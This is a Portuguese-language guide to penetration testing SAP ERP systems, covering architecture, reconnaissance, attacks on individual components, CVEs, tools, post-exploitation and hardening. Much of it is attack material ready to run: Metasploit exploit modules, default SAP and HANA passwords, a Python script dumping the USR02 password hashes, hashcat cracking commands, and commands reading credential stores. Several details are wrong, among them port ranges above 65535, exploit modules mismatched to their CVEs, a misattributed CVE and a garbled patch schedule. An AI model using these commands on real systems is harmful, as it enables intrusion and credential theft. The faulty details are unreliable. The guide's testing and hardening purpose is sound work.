Pentest em SAP: Guia Completo para Ambientes ERP

Labs

12/06/2026 33 min de leitura

Resumo:

SAP é o principal ERP mundial, presente em mais de 425 mil organizações, e concentra dados financeiros, de RH, de logística e de controle de acesso.
A arquitetura SAP é composta por múltiplos componentes críticos: NetWeaver AS (ABAP e Java), Message Server, Gateway, ICM, SAP Router, HANA e Fiori/OData.
Pentests SAP se dividem em black box (apenas IP/hostname e simula um atacante externo) e gray box (credencial básica concedida, e modelo mais eficaz e realista).
A fase de reconhecimento envolve varredura de portas nas faixas proprietárias SAP, enumeração via Message Server, fingerprinting via ICM e mapeamento de topologia via SAP Router.

O SAP (Systems, Applications and Products in Data Processing) é o maior fornecedor mundial de software ERP (Enterprise Resource Planning), presente em mais de 425 mil organizações em mais de 180 países. Quando falamos em infraestrutura crítica corporativa, o SAP ocupa uma posição singular: ele concentra em um único ambiente os módulos de finanças, RH, logística, supply chain, manufatura e controle de acesso de toda a empresa.

Esse nível de centralização é exatamente o que torna o SAP um alvo de altíssimo valor para atacantes. Um ambiente SAP comprometido significa acesso a dados financeiros, folhas de pagamento, contratos, credenciais de funcionários, segredos industriais e, em muitos casos, capacidade de executar transações financeiras fraudulentas diretamente nos sistemas de produção.

De acordo com relatórios da Onapsis e da própria SAP, mais de 90% das empresas Fortune 500 utilizam SAP. Vulnerabilidades críticas identificadas nos últimos anos, como a ICMAD (CVE-2022-22536), receberam pontuação CVSS máxima de 10.0, colocando em risco dezenas de milhares de instâncias expostas à internet.

Do ponto de vista ofensivo, ambientes SAP apresentam uma superfície de ataque particularmente interessante: protocolos proprietários, interfaces legadas, configurações padrão historicamente permissivas e uma base de administradores que frequentemente não tem formação em segurança ofensiva.

Arquitetura SAP: O que você precisa conhecer antes de começar

Antes de qualquer fase de teste, é fundamental entender os componentes de um ambiente SAP. Diferente de uma aplicação web convencional, o SAP é um ecossistema com dezenas de serviços, protocolos e camadas de comunicação.

SAP NetWeaver Application Server (AS)

O NetWeaver é a plataforma de runtime do SAP e se divide em duas modalidades principais:

AS ABAP: executa aplicações escritas em ABAP (Advanced Business Application Programming), a linguagem proprietária da SAP. É onde vivem os módulos clássicos como FI (Financial Accounting), CO (Controlling), MM (Materials Management), SD (Sales and Distribution) e HR. A comunicação com clientes ABAP utiliza o protocolo proprietário DIAG, que trafega por padrão nas portas 32XX (onde XX é o número do sistema, chamado de instance number).

AS Java: Executa aplicações baseadas em Java EE. Tipicamente associado ao SAP Portal, ao Process Integration (PI/PO) e ao NetWeaver Developer Studio. Expõe interfaces web e serviços SOAP/REST.

SAP Message Server

O Message Server é o componente de load balancing e registro do ambiente SAP. Ele mantém a lista de servidores de aplicação disponíveis e distribui conexões de clientes. Opera nas portas 36XX (protocolo proprietário) e 81XX ou 44300 (HTTP/HTTPS). É um alvo particularmente interessante porque, se acessível externamente sem autenticação, permite que um atacante enumere toda a topologia interna do landscape SAP.

SAP Gateway

O Gateway é o mecanismo de comunicação RFC (Remote Function Call) do SAP. Permite que sistemas externos chamem funções ABAP remotamente. Opera na porta 33XX. Dois arquivos de controle de acesso regem quais sistemas e programas podem se comunicar com o Gateway: o reginfo (responsável por controlar quais programas externos podem se registrar) e o secinfo (controla quais usuários e hosts podem iniciar programas externos). Configurações permissivas nesses arquivos são historicamente responsáveis por RCE (Remote Code Execution) em ambientes SAP.

SAP ICM (Internet Communication Manager)

O ICM é o componente responsável pela comunicação HTTP/HTTPS entre o SAP e clientes externos. É por meio dele que o SAP Fiori, o WebDynpro, os serviços OData e as interfaces de Web Services são expostos. Opera tipicamente nas portas 80XX (HTTP) e 443XX (HTTPS).

SAP Router

O SAP Router é um proxy de rede proprietário usado para rotear conexões entre redes com acesso restrito. Frequentemente utilizado para suporte remoto da própria SAP SE. Opera na porta 3299 (ou 3200 em algumas configurações). Se mal configurado, pode funcionar como um pivô para acesso a sistemas internos sem autenticação.

SAP HANA

O SAP HANA é o banco de dados in-memory proprietário da SAP, usado como backend de praticamente todos os sistemas SAP modernos (S/4HANA). Expõe interfaces SQL (portas 3XX13 para o tenant principal e 3XX15 para o systemdb), HTTP/HTTPS para o XSA (Extended Application Services), e a interface do SAP HANA Studio/Cockpit. Uma instância HANA comprometida significa acesso direto a toda a base de dados da organização.

SAP Fiori e OData Services

O SAP Fiori é a camada de UX moderna do SAP, baseada em HTML5/SAPUI5. Por baixo dos panos, o Fiori consome serviços OData (um padrão REST/JSON/XML sobre o protocolo HTTP). Esses serviços OData mapeiam diretamente para objetos e entidades de negócio do backend ABAP. Erros de autorização nesses serviços são muito comuns e podem levar a BOLA (Broken Object Level Authorization) e à exposição massiva de dados.

Portas e Serviços mais Comuns

A tabela abaixo resume as principais portas encontradas em um landscape SAP, onde XX representa o número da instância (geralmente 00, 01 ou 00/01 em sistemas de produção):

Serviço	Porta
SAP Dispatcher (DIAG)	32XX
SAP Gateway	33XX
SAP Message Server	36XX
SAP Message Server HTTP	81XX
SAP ICM HTTP	80XX
SAP ICM HTTPS	443XX / 44300
SAP HANA SQL (tenant)	3XX13
SAP HANA SQL (systemdb)	3XX15
SAP HANA HTTP (XSA)	51000
SAP Router	3299
SAP Web Dispatcher	8080 / 443
SAP Host Agent	1128 / 1129

Black Box vs Gray Box: Qual abordagem usar em um pentest SAP

Na grande maioria dos projetos de pentest em ambientes SAP, o teste se enquadra em dois modelos principais: black box e gray box. Entender as diferenças e implicações de cada um é importante para planejar o escopo e maximizar a cobertura do teste.

Black Box

No modelo black box, o time de pentest recebe apenas o endereço IP ou hostname do ambiente SAP, sem qualquer credencial, documentação ou acesso prévio ao sistema. A abordagem simula um atacante externo que descobriu a existência do SAP na superfície de ataque da empresa.

As vantagens do black box em SAP são claras: o teste valida exatamente o que um atacante real conseguiria fazer a partir de zero. As desvantagens são igualmente significativas: grande parte das vulnerabilidades internas de um ambiente SAP, como RFCs mal configurados, autorizações excessivas no perfil de usuários ou lógica de negócio comprometida, simplesmente não é acessível sem autenticação prévia.

Em um black box SAP, o foco inicial está em:

Identificação de instâncias e componentes via varredura de portas.
Exploração de interfaces não autenticadas (Message Server, ICM, Router).
Tentativa de uso de credenciais padrão.
Exploração de CVEs públicos em versões desatualizadas.

Gray Box

O gray box é o modelo mais comum e mais eficaz para pentest em SAP corporativo. Nele, o time recebe credenciais de um usuário com perfil básico ou funcional (equivalente a um funcionário comum da empresa), possibilitando a avaliação de toda a superfície interna do ambiente. Isso inclui transações ABAP, serviços OData, autorizações RFC, e a capacidade de testar a escala de privilégios horizontal e vertical dentro da plataforma.

O gray box em SAP permite avaliar cenários de ameaça muito mais realistas: um funcionário mal-intencionado, uma credencial comprometida via phishing, ou um usuário que descobre que pode executar transações além do seu escopo de trabalho.

Em projetos de maior maturidade, é possível combinar as duas abordagens: iniciar em black box para mapear a superfície externa e, ao obter acesso (ou mediante concessão de credenciais para a segunda fase), aprofundar a cobertura em gray box.

Reconhecimento e Enumeração

Identificação de instâncias SAP via varredura de portas

A primeira etapa em qualquer pentest SAP é a identificação dos componentes ativos. O Nmap com scripts NSE dedicados ao SAP é o ponto de partida mais eficiente:

nmap -sV -p 3200-3299,3300-3399,3600-3699,8000-8099,44300-44399,3299,1128,1129 --script sap-* <alvo>

Para uma varredura mais abrangente, cobrindo as principais faixas de portas SAP:

nmap -sV -p 32000-32099,33000-33099,36000-36099,80000-80099,44300-44399,3299,50000-50099,51000-51099 <alvo>

O Nmap possui scripts NSE específicos para o SAP, como o sap-info (que coleta informações básicas do sistema), disponíveis no repositório da comunidade.

Identificação do SID e número de instância

O SID (System ID) é um identificador de três letras que identifica unicamente uma instância SAP (por exemplo: PRD para produção, DEV para desenvolvimento, ou QAS para qualidade). Ele aparece em vários lugares durante a enumeração:

No banner de serviços abertos, especialmente no DIAG (porta 32XX), ao tentar conexão com o SAP GUI, que devolve o SID, o número da instância e o hostname.

Via HTTP, acessando o ICM:

http://<alvo>:80XX/sap/public/info

Esse endpoint, quando acessível sem autenticação, retorna informações detalhadas sobre a instância, incluindo SID, kernel version, plataforma e número de instância. É um dos primeiros checks a realizar em um reconhecimento black box.

Enumeração do Message Server

O SAP Message Server, quando acessível na porta 81XX via HTTP, expõe endpoints que revelam informações valiosas sobre a topologia do landscape:

http://<alvo>:81XX/msgserver/text/logon

Esse endpoint retorna a lista de servidores de aplicação disponíveis para logon, incluindo hostnames internos, portas e grupos de logon configurados. Em ambientes onde o Message Server está exposto à internet sem controle de acesso, essa informação é ouro para um atacante.

A porta 36XX (protocolo nativo do Message Server) é ainda mais sensível. Através do Metasploit, é possível enviar comandos diretos ao Message Server sem autenticação em versões vulneráveis:

use auxiliary/scanner/sap/sap_message_server_info
set RHOSTS <alvo>
set MSPORT 3600
run

Enumeração via SAP Router

Quando o SAP Router está presente na porta 3299, é possível tentar enumerar a tabela de roteamento usando a string de rota “niping”:

/H/<router_host>/S/3299/H/<target>/S/3200

A resposta do SAP Router às tentativas de conexão inválidas frequentemente revela se um host interno existe ou não, permitindo descoberta de topologia interna via side-channel.

Fingerprinting de versão via ICM

Além do endpoint /sap/public/info, o ICM expõe outros caminhos que permitem identificar versão e componentes instalados:

http://<alvo>:80XX/sap/bc/webdynpro/sap/appl_soap_management
http://<alvo>:80XX/sap/bc/ping
http://<alvo>:80XX/sap/monitor

O path /sap/bc/ping é especialmente útil: retorna o código 200 quando o ICM está ativo e pode devolver informações de versão no header HTTP sap-perf-fesrec.

Vetores de Ataque por Componente

SAP Message Server: CVE-2020-6207 e Execução Sem Autenticação

A CVE-2020-6207 é uma das vulnerabilidades mais críticas já descobertas no ecossistema SAP. Ela afeta o SAP Solution Manager (SolMan) e permite que um atacante não autenticado execute comandos remotamente por meio do Message Server via uma requisição HTTP simples.

A vulnerabilidade existe porque o endpoint de diagnóstico do SolMan não requer qualquer autenticação. Através da API de administração do EEM (End-to-End Monitoring), era possível registrar scripts que seriam executados nos agentes monitorados.

O exploit público (disponível no ExploitDB e com módulo no Metasploit) demonstra como obter execução de código com pouquíssimo esforço:

use exploit/multi/sap/sap_mgmt_con_osexec_cmd
set RHOSTS <alvo>
set RPORT 50013
set CMD "id"
run

O CVSS desta vulnerabilidade é 10.0. Sistemas SAP Solution Manager sem o patch SAP Note 2890213 aplicado são completamente comprometidos remotamente.

SAP Gateway: Bypass de reginfo e secinfo

O SAP Gateway controla quais programas externos podem se registrar via os arquivos reginfo e secinfo. Configurações que utilizam o caractere coringa (*) nesses arquivos permitem que qualquer host externo registre um programa no Gateway e, a partir daí, execute comandos RFC no servidor SAP.

O cenário clássico de exploração do Gateway sem controle de acesso:

O atacante registra um servidor de programa externo no Gateway usando a biblioteca pysap ou o Metasploit.
O sistema SAP passa a enfileirar chamadas RFC para esse programa externo.
O atacante pode responder a essas chamadas com dados arbitrários ou usar o registro para executar comandos no host SAP via RFC SYSTEM functions.

Verificação de Gateway aberto com o Metasploit:

use auxiliary/scanner/sap/sap_router_info_request
set RHOSTS <alvo>
set RPORT 3300
run

Exploração de Gateway com reginfo permissivo:

use exploit/linux/sap/sap_mgmt_con_osexec

A ferramenta pysap da SecureLayer7 permite interação direta com o protocolo RFC:

from pysap.SAPRouter import SAPRoutedStreamSocket
from pysap.SAPRFC import SAPRFC

# Conectar ao Gateway e registrar programa externo

SAP ICM: ICMAD (CVE-2022-22536)

A ICMAD (Internet Communication Manager Advanced Desync) é possivelmente a vulnerabilidade mais impactante da história do SAP. Identificada pela Onapsis e reportada à SAP em 2021, recebeu pontuação CVSS 10.0 e afeta virtualmente todas as versões do SAP NetWeaver com o ICM ativo, incluindo S/4HANA, SAP ECC, SAP Web Dispatcher e outros.

A vulnerabilidade é uma variante de HTTP Request Smuggling (HRS) explorável de forma não autenticada. Permite que um atacante:

Sequestre sessões de outros usuários ativos no sistema.
Execute ações autenticadas em nome de qualquer usuário, incluindo administradores.
Obtenha acesso completo ao sistema sem qualquer credencial.

A mecânica do ataque envolve a injeção de um request malformado que o ICM processa de forma inconsistente com o proxy/load balancer à frente, permitindo o “contrabando” de um segundo request HTTP dentro do body do primeiro.

A correção exige aplicação das SAP Notes 3123396, 3123427 e 3123429. Sistemas sem esses patches em ambientes com o ICM exposto devem ser tratados como comprometidos até prova em contrário.

# Verificação básica de versão do ICM via header HTTP
curl -I http://<alvo>:8000/sap/bc/ping
# Procurar pelo header "sap-server" e correlacionar com versões afetadas

SAP HANA: Ataques ao Banco de Dados In-Memory

O SAP HANA expõe várias superfícies de ataque, especialmente em configurações padrão ou mal aplicadas.

Credenciais padrão do HANA

Em instalações recentes, o HANA exige troca de senha no primeiro login. Contudo, instalações legadas ou realizadas por integradores podem manter as credenciais padrão:

Usuário	Senha Padrão
SYSTEM	Manager1
SYSTEM	Hana1234
_SYS_REPO	(em branco)

Acesso ao HANA via cliente SQL (hdbsql):

hdbsql -n <host>:3<instance>13 -u SYSTEM -p Manager1 "SELECT * FROM SYS.USERS"

Enumeração de usuários e escalação via HANA

Uma vez autenticado no HANA, é possível enumerar todos os usuários do banco de dados e suas permissões:

SELECT USER_NAME, USER_TYPE, IS_ACTIVE, IS_LOCKED FROM SYS.USERS;
SELECT * FROM SYS.GRANTED_PRIVILEGES WHERE GRANTEE = 'SYSTEM';

Usuários com o privilégio DATA ADMIN ou SYSTEM PRIVILEGE têm capacidade de ler qualquer tabela, incluindo as que armazenam dados sensíveis do SAP como PA0001 (dados pessoais de RH), BSEG (lançamentos contábeis) e KNA1 (dados de clientes).

SAP HANA XSS no Cockpit

O SAP HANA Cockpit (acessível na porta 51000 via HTTPS) já foi alvo de múltiplas CVEs de XSS e CSRF. Em versões antigas (anteriores a HANA 2.0 SPS05), havia vulnerabilidades de injeção de comandos acessíveis via interface web.

CVE-2020-6243: SQL Injection no HANA

Esta CVE afeta o SAP HANA Extended Application Services (XS Advanced) e permite injeção SQL não autenticada em endpoints específicos da interface de administração, potencialmente resultando em leitura e escrita arbitrária no banco.

SAP Fiori e OData: Broken Object Level Authorization

O SAP Fiori é a principal superfície web moderna do SAP. Cada tile do Fiori corresponde a um serviço OData que, por sua vez, mapeia para entidades de negócio no backend ABAP. Erros de autorização em OData são extremamente comuns porque a configuração de autorização no backend ABAP (via objetos de autorização) frequentemente não é revisada em conjunto com as permissões de serviço OData.

Descoberta de serviços OData

O catálogo de serviços OData pode ser descoberto via:

GET /sap/opu/odata/IWFND/CATALOGSERVICE/ServiceCollection

Esse endpoint retorna todos os serviços OData publicados no sistema. Em sistemas mal configurados, esse endpoint não requer autenticação nem aceita autenticação anônima.

Exploração de BOLA em OData

Com um usuário autenticado de baixo privilégio, é possível testar acesso a entidades que não deveriam estar disponíveis:

GET /sap/opu/odata/sap/<SERVICO>/EmployeeSet?$top=1000
GET /sap/opu/odata/sap/<SERVICO>/SalarySet
GET /sap/opu/odata/sap/<SERVICO>/BankAccountSet

O Burp Suite é a ferramenta mais adequada para exploração metódica dessas interfaces. Com o proxy ativo, é possível interceptar as chamadas OData geradas pelo Fiori no browser e modificar parâmetros como $filter para tentar acessar dados de outros usuários ou departamentos.

Escalação via BAPI (Business API) por OData

Alguns serviços OData expõem BAPIs do backend que permitem executar ações de negócio, não apenas consultar dados. Exemplos críticos incluem serviços que expõem funções de criação de usuários, aprovação de pagamentos ou modificação de ordens de compra. Qualquer usuário com acesso ao serviço OData correspondente pode executar essas ações, independentemente de ter as autorizações ABAP corretas.

RFC (Remote Function Call): Escalação via Funções Sensíveis

O RFC é o mecanismo de integração mais importante do ecossistema SAP. Qualquer usuário com o objeto de autorização S_RFC configurado de forma permissiva (usando * no campo FUNCGRP ou FUGR) pode chamar qualquer função ABAP remotamente.

Funções RFC de alto impacto

As seguintes funções RFC, quando acessíveis a usuários não privilegiados, permitem escalação de privilégios ou extração massiva de dados:

Função RFC	Impacto
RFC_SYSTEM_INFO	Enumera informações do sistema
SUSR_USER_CHANGE_PASSWORD_RFC	Altera senha de qualquer usuário
SUSR_GET_ADMIN_USER_LOGIN_INFO	Lista usuários administrativos
BAPI_USER_CREATE1	Cria novo usuário SAP
BAPI_USER_ACTGROUPS_ASSIGN	Atribui perfis a usuários
TH_POPUP	Envia mensagem pop-up a sessões ativas
RFC_READ_TABLE	Lê qualquer tabela do banco de dados
SXPG_CALL_SYSTEM	Executa comandos do sistema operacional
SXPG_COMMAND_EXECUTE	Executa comandos OS arbitrários

A função RFC_READ_TABLE merece atenção especial: ela permite ler qualquer tabela do dicionário ABAP, incluindo tabelas que contêm hashes de senhas (USR02), dados de cartão de crédito ou informações salariais, sem nenhum acesso ABAP nativo ao sistema.

Exemplo de extração de hashes via RFC_READ_TABLE:

# Usando pyrfc (Python RFC SDK)
import pyrfc

conn = pyrfc.Connection(ashost='<alvo>', sysnr='00', client='100',
                        user='<usuario>', passwd='<senha>')

result = conn.call('RFC_READ_TABLE',
    QUERY_TABLE='USR02',
    FIELDS=[{'FIELDNAME': 'BNAME'}, {'FIELDNAME': 'BCODE'}],
    ROWCOUNT=100)

for row in result['DATA']:
    print(row['WA'])

Os hashes obtidos da tabela USR02 são do tipo SHA-1 (codetype B) ou SHA-256 com salt (codetype H), e podem ser submetidos a ataques offline com hashcat:

hashcat -m 7700 hashes_sap.txt wordlist.txt   # SAP CODVN B
hashcat -m 10300 hashes_sap.txt wordlist.txt  # SAP CODVN H

SAP Web Services (SOAP/WSDL): Enumeração e Injeção

O SAP expõe serviços SOAP via o ICM. A descoberta pode ser feita acessando:

http://<alvo>:80XX/sap/bc/srt/wsdl/...
http://<alvo>:80XX/sap/wsdl?services=<SERVICO>

Com Burp Suite, é possível usar o plugin WSDL Wizard para numerar automaticamente todos os serviços SOAP expostos e gerar requisições de teste. Muitos Web Services SAP que foram desenvolvidos internamente pela equipe de ABAP da organização não passam por revisão de segurança e são suscetíveis a injeção XML, XXE e SQLi.

Credenciais Padrão e Usuários Críticos

Um dos vetores mais subestimados em ambientes SAP é a presença de usuários padrão com senhas nunca alteradas. A SAP entrega todos os sistemas com uma série de usuários técnicos pré-criados.

Usuário	Senha padrão	Função
SAP*	06071992 / PASS	Superusuário ABAP
DDIC	19920706	Dicionário de dados, acesso total
EARLYWATCH	SUPPORT	Monitoramento remoto
TMSADM	PASSWORD / $1Pawd2&	Transport Management System
SAPCPIC	ADMIN	CPI-C communications
SOLMAN<SID>	Admin1234!	Usuários técnicos do Solution Manager

O usuário SAP* tem um comportamento particularmente interessante: se o registro desse usuário for deletado da tabela USR02, o SAP recria automaticamente o usuário na memória com a senha hardcoded 06071992 e com todos os privilégios. Isso representa um bypass de controle que independe de qualquer configuração do sistema.

Verificação de usuário SAP* hardcoded (quando o registro não existe no banco):

# Via Metasploit
use auxiliary/scanner/sap/sap_default_userpass
set RHOSTS <alvo>
set RPORT 8000
run

Exploração de Configurações Inseguras no ABAP

Transações Críticas sem Controle de Acesso Adequado

No ambiente ABAP, o controle de acesso é baseado em objetos de autorização. Quando mal configurados (especialmente com valores * nos campos de autorização), usuários comuns podem executar transações administrativas críticas. As transações a seguir representam o maior risco quando acessíveis indevidamente:

SU01 / SU10: manutenção de usuários. Permite criar, modificar e desbloquear usuários, atribuir perfis e redefinir senhas.

SE38 / SE80 / SA38: editor e executor de programas ABAP. Um usuário com acesso a SE38 pode executar código ABAP arbitrário no sistema, com poder equivalente ao de um administrador de banco de dados.

SM49 / SM69: comandos externos (OS commands). Permitem executar comandos do sistema operacional diretamente a partir do ABAP.

STMS: Transport Management System. Acesso a STMS permite importar transportes de desenvolvimento para produção, potencialmente injetando código malicioso.

SCC4 / SE06: configuração de cliente SAP. Permite alterar as configurações que protegem o cliente de produção contra modificações acidentais.

SM30: manutenção de views de tabela. Com acesso adequado, é possível modificar o conteúdo das tabelas de customizing diretamente.

Code Injection via ABAP (Dynamic ABAP Execution)

Aplicações ABAP que constroem código dinâmico via as declarações GENERATE SUBROUTINE POOL ou WRITE TO com input não sanitizado são vulneráveis à injeção de código ABAP. Diferente de uma injeção SQL convencional, uma injeção ABAP bem-sucedida resulta na execução de código nativo no servidor de aplicação com os privilégios do usuário do serviço.

Padrões a buscar em revisão de código:

" Vulnerável: input do usuário concatenado diretamente
DATA: lv_code TYPE string.
CONCATENATE 'WRITE: ' lv_user_input '.' INTO lv_code.
GENERATE SUBROUTINE POOL lv_code NAME lv_prog.

SQL Injection via Open SQL (ADBC)

O SAP usa Open SQL como camada de abstração sobre o banco de dados. Contudo, aplicações que utilizam ADBC (ABAP Database Connectivity) para execução de SQL nativo, ou que constroem strings SQL dinamicamente sem sanitização, são vulneráveis à injeção SQL.

" Vulnerável: concatenação direta de input em query nativa
DATA: lv_sql TYPE string.
CONCATENATE 'SELECT * FROM KNA1 WHERE KUNNR = ''' lv_input '''' INTO lv_sql.
EXEC SQL. &lv_sql ENDEXEC.

Vulnerabilidades Conhecidas (CVEs) em SAP

O ecossistema SAP acumula dezenas de CVEs críticas. As mais relevantes para um pentest moderno são:

CVE-2022-22536 (ICMAD, CVSS 10.0)

HTTP Request Smuggling no ICM do SAP NetWeaver e ABAP Platform. Permite sequestro de sessão e execução não autenticada de ações em nome de qualquer usuário. Afeta SAP NetWeaver AS ABAP, ABAP Platform, SAP Content Server e SAP Web Dispatcher. Corrigida na SAP Security Patch Day de fevereiro de 2022.

CVE-2020-6207 (CVSS 10.0)

Falta de autenticação no SAP Solution Manager (SolMan), especificamente no componente EEM. Permite a execução remota de comandos nos agentes gerenciados sem qualquer credencial. Corrigida pela SAP Note 2890213.

CVE-2021-38163 (CVSS 9.9)

Unrestricted File Upload no SAP NetWeaver AS ABAP, permitindo upload de arquivos maliciosos (incluindo web shells) via a interface de gerenciamento de arquivos. Afeta versões anteriores ao SAP Kernel 7.77.

CVE-2020-6198 (CVSS 10.0)

Falta de autenticação no SAP Solution Manager (Diagnostics Agent), permitindo que um atacante não autenticado execute código arbitrário nos hosts gerenciados pelo SolMan.

CVE-2021-21480 (CVSS 9.9)

Remote Code Execution no SAP Manufacturing Integration and Intelligence (xMII), por meio de injeção de código em templates de relatório. Permite a execução de código Java no servidor de aplicação.

CVE-2020-6243 (CVSS 9.1)

SQL Injection no SAP HANA Extended Application Services, versão 1.0. Permite leitura e modificação de dados do banco HANA sem autenticação em endpoints específicos.

CVE-2019-0230 (CVSS 9.8)

Remote Code Execution no SAP Web Intelligence (BI Launchpad), via injeção de código na funcionalidade de relatório. Afeta SAP BusinessObjects Business Intelligence Platform.

CVE-2021-27610 (CVSS 9.8)

Improper Authentication no SAP NetWeaver AS ABAP e ABAP Platform. Permite que um atacante sem credenciais acesse funcionalidades restritas do sistema via manipulação de parâmetros de autenticação.

CVE-2022-28773 (CVSS 7.5)

Denial of Service no SAP Web Dispatcher e no SAP NetWeaver, via envio de requisições HTTP malformadas que causam consumo excessivo de memória no processo ICM.

Ferramentas Essenciais para Pentest SAP

Metasploit Framework

O Metasploit possui uma coleção robusta de módulos dedicados ao SAP, cobrindo desde reconhecimento até exploração:

# Listar todos os módulos SAP disponíveis
search type:auxiliary name:sap
search type:exploit name:sap

# Módulos de reconhecimento mais úteis
use auxiliary/scanner/sap/sap_service_discovery
use auxiliary/scanner/sap/sap_icm_urlscan
use auxiliary/scanner/sap/sap_message_server_info
use auxiliary/scanner/sap/sap_default_userpass

# Módulos de exploração
use exploit/multi/sap/sap_mgmt_con_osexec_cmd
use exploit/linux/sap/sap_mgmt_con_osexec

pysap (SecureLayer7)

Biblioteca Python para interação com os protocolos proprietários do SAP (DIAG, RFC, Router). Permite a construção de clientes customizados para os protocolos nativos.

pip install pysap

# Exemplo de scan básico de serviços SAP
python -m pysap.SAPDiag -d <alvo> -p 3200

pyrfc (SAP RFC SDK Wrapper)

Biblioteca Python que envolve o SAP RFC SDK para chamadas programáticas a funções RFC. Requer o SAP NW RFC SDK instalado localmente.

pip install pyrfc

SAP_RECON (SAP Reconnaissance)

Script Python da Onapsis criado especificamente para verificar a presença da CVE-2020-6207 e variantes em instâncias do SAP Solution Manager. Disponível no GitHub da Onapsis.

git clone https://github.com/Onapsis/onapsis_erm_autoconfig
python sap_recon.py --host <alvo> --port 8443

Burp Suite

Para testes em interfaces web SAP (Fiori, WebDynpro, Portal, BusinessObjects), o Burp Suite é indispensável. O plugin “SAP Hana HTTP” e extensões customizadas para parsing de tokens XSRF do SAP facilitam o trabalho com as interfaces web da plataforma.

Nmap com Scripts NSE para SAP

Scripts NSE relevantes para SAP, alguns disponíveis no repositório oficial do Nmap e outros na comunidade:

nmap --script sap-info -p 8000 <alvo>
nmap --script sap-message-server-info -p 3600 <alvo>

bizploit (Onapsis)

Ferramenta comercial de pentest de SAP da Onapsis. Considerada a mais completa para automação de testes em ambientes SAP, porém de uso restrito a clientes licenciados. Cobre todos os componentes do NetWeaver, HANA e SAP BusinessObjects.

PowerSAP

Framework de PowerShell para automação de testes em ambientes SAP Windows. Útil para pentest em ambientes onde o SAP está hospedado em servidores Windows e o testador já possui acesso à rede interna.

Pós-Exploração e Escalação de Privilégios

Extração de Credenciais do SAP Após Comprometimento Inicial

Uma vez com execução de código no host SAP (via SM49, SXPG_CALL_SYSTEM ou acesso ao OS), os seguintes artefatos são alvos prioritários:

Arquivo DEFAULT.PFL: contém parâmetros de inicialização do sistema, incluindo configurações de autenticação e patches críticos.

cat /usr/sap/<SID>/SYS/profile/DEFAULT.PFL

Diretório de perfis: contém todos os perfis de instância com parâmetros que podem revelar configurações de integração, senhas de serviço e conexões RFC.

ls /usr/sap/<SID>/SYS/profile/

Arquivo HDBUSERSTORE: armazena credenciais encriptadas do SAP HANA Studio e hdbsql para conexões recorrentes. Se existente, pode ser descripto para obter senhas HANA em texto claro.

# Localização típica
cat /home/<sapsid>adm/.hdb/<hostname>/SSFS_HDB.DAT

# O hdbuserstore pode ser lido diretamente
/usr/sap/hdbclient/hdbuserstore list

Arquivo secstore.properties: Em ambientes SAP Java (NetWeaver AS Java, SAP Portal), armazena senhas de configuração para datasources e conexões externas.

Movimentação Lateral via RFC Trust

O SAP suporta “trusted RFC connections”, um mecanismo que permite que um sistema SAP chame RFC em outro sem apresentar credenciais, desde que o sistema de origem esteja na lista de confiança do destinatário.

Em um ambiente com múltiplas instâncias SAP (landscape com DEV, QAS, PRD), comprometer o sistema de desenvolvimento pode permitir movimentação lateral para produção via trusted RFC, especialmente se as conexões de confiança foram configuradas sem os devidos controles.

Verificação de conexões RFC confiáveis via transação SM59:

" Consulta ABAP para listar conexões RFC
SELECT * FROM RFCDES WHERE RFCDEST LIKE '%' AND RFCTYPE = '3'.

Dump de Hashes e Ataque Offline

A tabela USR02 armazena os hashes de senhas de todos os usuários ABAP. Com acesso via RFC_READ_TABLE ou acesso direto ao banco, é possível extrair todos os hashes para ataque offline:

-- Via HANA SQL (se acesso ao banco estiver disponível)
SELECT BNAME, BCODE, BCCODE FROM SAPABAP1.USR02;

Os hashes SAP CODVN B (SHA-1 com salt) têm suporte nativo no hashcat:

# Formato: <BNAME>$<BCODE>
hashcat -m 7700 sap_hashes.txt /usr/share/wordlists/rockyou.txt

Os hashes CODVN H (SHA-256 com salt, mais recentes) são mais resistentes mas igualmente suportados:

hashcat -m 10300 sap_hashes.txt /usr/share/wordlists/rockyou.txt

Recomendações e Hardening

Aplicar Patches de Segurança da SAP (SAP Security Patch Day)

A SAP publica patches de segurança mensalmente, toda segunda e terça-feira do mês (SAP Security Patch Day). As empresas devem manter um processo formal de gestão de patches que inclua avaliação e aplicação prioritária de SAP Notes com CVSS alto. O repositório oficial é o SAP Launchpad (support.sap.com).

A recomendação é manter todos os sistemas SAP com patches aplicados em até 30 dias para notas críticas (CVSS 9.0+) e em até 90 dias para as demais.

Desabilitar ou Restringir Serviços Não Utilizados

Cada componente SAP desnecessariamente exposto representa uma superfície de ataque adicional. As seguintes medidas devem ser adotadas:

Restringir acesso ao endpoint /sap/public/info via ACL no perfil do ICM, usando o parâmetro icm/HTTP/mod_X para bloquear clientes não autorizados.
Desabilitar o HTTP (não criptografado) no ICM, mantendo apenas HTTPS com certificados válidos. O parâmetro icm/server_port_X controla as portas ativas.
Bloquear acesso externo às portas do Message Server (36XX e 81XX) via firewall. O Message Server deve ser acessível apenas internamente para clientes SAP GUI.
Desabilitar serviços web ABAP não utilizados via transação SICF, marcando todos os nós como inativos exceto os explicitamente necessários.

Configurar reginfo e secinfo no Gateway

Os arquivos de controle do Gateway devem ser configurados com regras explícitas de permissão. A configuração mínima segura para o reginfo:

#VERSION=2
P TP=<PROGRAMA_AUTORIZADO> HOST=<HOST_AUTORIZADO> ACCESS=<HOST_AUTORIZADO>

E para o secinfo:

#VERSION=2
P TP=<PROGRAMA_AUTORIZADO> USER=<USUARIO_ABAP> HOST=<HOST_AUTORIZADO>

O parâmetro gw/acl_mode=1 deve estar ativo para que o Gateway force a leitura dos arquivos de controle.

Gestão de Usuários Padrão

Imediatamente após qualquer instalação SAP, os seguintes passos são obrigatórios:

Bloquear ou alterar a senha dos usuários SAP, DDIC, EARLYWATCH, TMSADM, SAPCPIC e SOLMAN em todos os clientes, incluindo os clientes 000 e 066.

Ativar o parâmetro login/no_automatic_user_sapstar=1 em todos os sistemas, que impede o comportamento de fallback do usuário SAP* quando seu registro é deletado.

Habilitar o parâmetro auth/no_check_in_some_cases=N para garantir que as verificações de autorização sejam realizadas em todos os cenários.

Configurar Política de Senhas e Bloqueio de Conta

Os parâmetros de perfil SAP para política de senhas devem ser configurados conforme as melhores práticas:

login/min_password_length = 12
login/password_change_for_SSO = 1
login/password_max_new_valid = 90
login/password_history_size = 10
login/failed_user_auto_unlock = 1
login/max_failed_password_logon_attempts = 5
login/password_compliance_to_current_policy = 1

Restringir Autorizações RFC

O objeto de autorização S_RFC deve ser configurado com campos explícitos. Nunca atribuir ACTVT=* e FUNCGRP=* a usuários de negócios. A abordagem correta é listar explicitamente os grupos de função RFC necessários para cada perfil de usuário.

